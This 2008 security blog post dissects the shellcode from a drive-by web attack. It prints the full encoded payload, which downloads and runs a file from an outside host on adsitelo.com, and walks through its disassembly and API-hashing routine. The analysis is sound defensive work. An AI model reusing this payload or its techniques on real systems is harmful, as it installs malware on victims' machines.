blog
June 24, 2008
Last time, we have seen how malicious code is delivered to the browser during a web attack. We left with a script that targeted 4 different vulnerabilities, but we didn't look at what activity is actually performed during the attack. Here, we will look at the actual exploitation.
Let's meet the shellcode:
var YuL42y0W = unescape("%u9090%u9090%u9090%u9090%ufce9%u0000%u5f00%ua164%u0030
%u0000%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u408b%u8d34%u7c40%u688b%u8b3c
%u6af7%u5904%u8fe8%u0000%ue200%u68f9%u6e6f%u0000%u7568%u6c72%u546d%u16ff%ue88b
%u79e8%u0000%u8b00%u47d7%u3f80%u7500%u47fa%u4757%u3f80%u7500%u8bfa%u5fef%uc933
%uec81%u0104%u0000%udc8b%u5251%u6853%u0104%u0000%u56ff%u5a0c%u5159%u8b52%u5302
%u8043%u003b%ufa75%u7b81%u2efc%u7865%u7565%u8303%u08eb%u0389%u43c7%u2e04%u7865
%uc665%u0843%u5b00%uc18a%u3004%u4588%u3300%u50c0%u5350%u5057%u56ff%u8310%u00f8
%u0675%u016a%uff53%u0456%u595a%uc283%u4104%u3a80%u7500%uffb4%u0856%u5651%u758b
%u8b3c%u2e74%u0378%u56f5%u768b%u0320%u33f5%u49c9%uad41%uc503%udb33%ube0f%u3a10
%u74d6%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee7%u5e8b%u0324%u66dd%u0c8b%u8b4b
%u1c5e%udd03%u048b%u038b%uabc5%u595e%ue8c3%ufeff%uffff%u4e8e%uec0e%ufe98%u0e8a
%ud87e%u73e2%uca33%u5b8a%u1a36%u702f%u6943%u4a79%u466a%u774c%u6800%u7474%u3a70
%u2f2f%u6461%u6973%u6574%u6f6c%u632e%u6d6f%u632f%u6967%u622d%u6e69%u692f%u646e
%u7865%u632e%u6967%u373f%u6530%u6630%u3562%u3035%u3031%u6230%u3766%u3030%u3732
%u6537%u6530%u3564%u3038%u3336%u3935%u3535%u6565%u3031%u3338%u6138%u3465%u6139
%u3062%u3030%u3030%u3730%u3066%u3030%u3030%u3030%u3030%u3038%u0000");
It's easy to unescape the shellcode and generate the corresponding object code. It turns out that the shellcode is very elegant: it should work on different versions of Windows (9x and XP) and is independent of the position in memory of the various library and functions. The final goal of the code is to download a file from a specific URL and to execute it. Let's see how this is done.
First, the shellcode obtains the address of kernel32.dll. It uses the
PEB-based technique
first described by The Last Stage of
Delirium:
0000000E mov eax,[fs:0x30] ; get the PEB
00000014 js 0x22<find_kernel32_9x>
find_kernel32_nt:
00000016 mov eax,[eax+0xc] ; get ptr to PEB_LDR_DATA
00000019 mov esi,[eax+0x1c] ; get 1st entry of InInitalizationOrderModuleList
0000001C lodsd
0000001D mov ebp,[eax+0x8] ; get kernel32.dll base
00000020 jmp short 0x2b
find_kernel32_9x:
00000022 mov eax,[eax+0x34]
00000025 lea eax,[eax+0x7c]
00000028 mov ebp,[eax+0x3c]
Once the base address of kernel32.dll is known, it can be used to
identify the address of useful functions exported in this DLL. To do so,
the shellcode defines a routine, let's call it find_function, that
walks the export name table of the given DLL and looks for a given
function name. Instead of matching directly on the name of the function,
the shellcode computes a simple hash of the name, and uses that to
locate interesting functions. This is probably done to save some space
and obfuscate the purposes of the code.
The find_function expects two parameters: the base address of the DLL
(contained in the ebp register) and a pointer to the hash of the
function to identify (in the edi register):
find_function:
000000C4 push ecx
000000C5 push esi
000000C6 mov esi,[ebp+0x3c] ; get the PE header
000000C9 mov esi,[esi+ebp+0x78]
000000CD add esi,ebp
000000CF push esi
000000D0 mov esi,[esi+0x20] ; get the export name table
000000D3 add esi,ebp
000000D5 xor ecx,ecx
000000D7 dec ecx
hash_init:
000000D8 inc ecx
000000D9 lodsd
000000DA add eax,ebp
000000DC xor ebx,ebx ; ebx stores the computed hash
hash_update:
000000DE movsx edx,byte [eax]
000000E1 cmp dl,dh
000000E3 jz 0xed<hash_done>
000000E5 ror ebx,0xd
000000E8 add ebx,edx
000000EA inc eax
000000EB jmp short 0xde<hash_update>
hash_done:
000000ED cmp ebx,[edi] ; have we found the given hash?
000000EF jnz 0xd8<hash_init>
000000F1 pop esi
000000F2 mov ebx,[esi+0x24]
000000F5 add ebx,ebp
000000F7 mov cx,[ebx+ecx*2]
000000FB mov ebx,[esi+0x1c]
000000FE add ebx,ebp
00000100 mov eax,[ebx+ecx*4]
00000103 add eax,ebp
00000105 stosd ; store the address in place of the hash
00000106 pop esi
00000107 pop ecx
00000108 ret
The hash value is computed with simple ror and add operations. I use
the following code to compute the hash of a function name:
unsigned int ror(unsigned int num, int places) {
return (num >> places) | (num << (32 - places));
}
unsigned int get_hash(const char *name) {
const char *ch;
unsigned int hash = 0;
for (ch = name; *ch; ch++) {
hash = (ror(hash, 0xd) + *ch);
}
return hash;
}
The hashes of the functions to locate are stored in a table at the end
of the shellcode. With the above program and a list of all the functions
in kernel32.dll (obtained from
here), it is easy to
indentify the name of the corresponding functions:
0000010E dd 0EC0E4E8Eh ; LoadLibraryA (hash)
00000112 dd 0E8AFE98h ; WinExec (hash)
00000116 dd 73E2D87Eh ; ExitProcess (hash)
0000011A dd 5B8ACA33h ; GetTempPathA (hash)
0000011E dd 702F1A36h ; URLDownloadToFileA (hash)
At this point, the shellcode loads urlmon.dll and finds the
function URLDownloadToFileA:
00000037 push dword 0x6e6f
0000003C push dword 0x6d6c7275
00000041 push esp
00000042 call near [esi] ; LoadLibraryA("urlmon")
00000044 mov ebp,eax
00000046 call 0xc4<find_function> ; find_function(urlmon.dll, URLDownloadToFileA)
The shellcode then creates a temporary file (using the GetTempPathA
function), downloads a file from
http://adsitelo.com/cgi-bin/index.cgi?70e0fb55074f01200277e0ed580235955ee10238ae49dd 0000000000000000010 (using the URLDownloadToFileA
function), executes the downloaded file (via WinExec), and finally exits
(ExitProcess).
Not bad for what initially just looked like a long string in a JavaScript script...
To leave a comment, complete the form below. Mandatory fields are marked *.
But it is hard for me!!!Can you give more detail info.
Hello,
Nice content you have here!
Your page came up in search results for "URLDownloadToFileA" :-)
Cheers, Michael
Michael,
Thanks! Yeah, the URLDownloadToFileA seems to be a fairly popular function for exploits...